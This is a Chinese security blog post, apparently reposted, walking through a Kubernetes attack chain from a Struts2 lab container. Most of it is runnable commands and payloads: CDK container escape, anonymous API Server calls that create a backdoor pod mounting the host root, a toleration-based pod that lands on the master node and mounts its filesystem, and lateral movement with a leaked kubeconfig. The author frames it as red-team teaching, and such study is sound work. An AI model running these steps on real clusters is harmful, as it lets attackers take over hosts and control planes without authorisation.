云原生篇-攻击Pod&污点Taint&横向移动&容器逃逸

admin 2026-08-12 04:44:39 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文演示了云原生环境下的攻击链,包括利用Web漏洞(如Struts2)获取容器权限、通过危险挂载或特权模式进行容器逃逸、创建后门Pod挂载宿主机根目录,以及利用Kubernetes污点Taint机制横向移动到master节点。关键发现是攻击者可通过APIServer未授权访问或节点config泄漏实现横向移动。建议防御方加强容器安全配置、限制APIServer访问并监控异常Pod创建。 综合评分: 88 文章分类: 渗透测试,红队,内网渗透,云安全,安全工具


cover_image

云原生篇-攻击Pod&污点Taint&横向移动&容器逃逸

原创

stalker2027lab stalker2027lab

stalker2027lab

2026年8月2日 18:07 山东

在小说阅读器读本章

去阅读

Web应用部署:(struts2漏洞)

# 创建名为struts的Deployment,部署Struts2 2.3.28漏洞环境镜像kubectl create deployment struts --image=vulhub/struts2:2.3.28# 创建NodePort类型的Service,将容器8080端口暴露到集群外部kubectl expose deploy struts --port=8080 --target-port=8080 --type=NodePort# 查看Pod运行状态和Service的端口信息,确认部署结果kubectl get pod,svc

1、利用Web漏洞拿下权限

探针当前Webshell环境:

https://blog.csdn.net/qq_23936389/article/details/131467165ls -al /cat /proc/1/cgroup

docker逃逸方式

危险挂载特权启动docker漏洞内核漏洞

上传cdk项目自动逃逸

提交创建后门Pod

./cdk_linux_amd64 kcurl anonymous post 'https://10.96.0.1:443/api/v1/namespaces/default/pods/' '{"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"annotations\":{},\"name\":\"test02\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"image\":\"nginx:1.14.2\",\"name\":\"test02\",\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"host\"}]}],\"volumes\":[{\"hostPath\":{\"path\":\"/\",\"type\":\"Directory\"},\"name\":\"host\"}]}}\n"},"name":"test02","namespace":"default"},"spec":{"containers":[{"image":"nginx:1.14.2","name":"test02","volumeMounts":[{"mountPath":"/host","name":"host"}]}],"volumes":[{"hostPath":{"path":"/","type":"Directory"},"name":"host"}]}}'
该后门pod将宿主机的根目录挂载到了该pod的/host目录下

探针API Server未授权

curl -k https://10.96.0.1:443/api/v1/namespaces/default/pods

提交创建后门Pod

./cdk_linux_amd64 kcurl anonymous post 'https://10.96.0.1:443/api/v1/namespaces/default/pods/' '{"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"annotations\":{},\"name\":\"test02\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"image\":\"nginx:1.14.2\",\"name\":\"test02\",\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"host\"}]}],\"volumes\":[{\"hostPath\":{\"path\":\"/\",\"type\":\"Directory\"},\"name\":\"host\"}]}}\n"},"name":"test02","namespace":"default"},"spec":{"containers":[{"image":"nginx:1.14.2","name":"test02","volumeMounts":[{"mountPath":"/host","name":"host"}]}],"volumes":[{"hostPath":{"path":"/","type":"Directory"},"name":"host"}]}}'

等同于

./kubectl -s 10.96.0.1:443 create -f test.yaml

加参数绕过交互式

./kubectl --server=https://10.96.0.1:443 --insecure-skip-tls-verify=true --username=a --password=a get pods

利用后门挂载进行逃逸

./kubectl --server=https://10.96.0.1:443 --insecure-skip-tls-verify=true --username=a --password=a exec test02 -- bash -c "ls /host"

一、横向移动-污点Taint

参考文章:https://blog.csdn.net/weixin_61269220/article/details/127294286

添加污点

kubectl taint nodes node1 xtz=value1:NoSchedule

去除污点

kubectl taint nodes node1 xtz=value1:NoSchedule-

打印node1节点上配置的所有污点信息:

kubectl describe nodes node1 | grep Taints

利用污点Taint横向移动master节点

参考:https://cn-sec.com/archives/1336486.html

获取node节点详情:node-role.kubernetes.io/master:NoSchedule

./kubectl --server=https://10.96.0.1:443 --insecure-skip-tls-verify=true --username=a --password=a describe nodes

cat > x.yaml << EOFapiVersion: v1kind: Podmetadata:&nbsp; name: control-master-xspec:&nbsp;tolerations:&nbsp; &nbsp;- key: node-role.kubernetes.io/master&nbsp; &nbsp; &nbsp;operator: Exists&nbsp; &nbsp; &nbsp;effect: NoSchedule&nbsp;containers:&nbsp; &nbsp;- name: control-master-x&nbsp; &nbsp; &nbsp;image: ubuntu:18.04&nbsp; &nbsp; &nbsp;command: ["/bin/sleep",&nbsp;"3650d"]&nbsp; &nbsp; &nbsp;volumeMounts:&nbsp; &nbsp; &nbsp; - name: master&nbsp; &nbsp; &nbsp; &nbsp; mountPath: /master&nbsp;volumes:&nbsp; - name: master&nbsp; &nbsp; hostPath:&nbsp; &nbsp; &nbsp;path: /&nbsp; &nbsp; &nbsp;type: DirectoryEOF
./kubectl --server=https://10.96.0.1:443 --insecure-skip-tls-verify=true&nbsp;--username=a --password=a create -f ./x.yaml./kubectl --server=https://10.96.0.1:443 --insecure-skip-tls-verify=true&nbsp;--username=a --password=a get pods -o wide./kubectl --server=https://10.96.0.1:443 --insecure-skip-tls-verify=true&nbsp;--username=a --password=a&nbsp;exec&nbsp;control-master -- bash -c&nbsp;"ls /master"

也可以利用节点泄漏的config横向移动节点

./kubectl -s https://10.96.0.1:443/ --kubeconfig=config --insecure-skip-tls-verify=true&nbsp;get nodes./kubectl apply -f test.yaml -n default --kubeconfig=config./kubectl -n default --kubeconfig=config&nbsp;exec&nbsp;xiaodisec -- bash -c&nbsp;"ls /mnt/root"


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:stalker2027lab stalker2027lab stalker2027lab《云原生篇-攻击Pod&污点Taint&横向移动&容器逃逸》

评论:0   参与:  0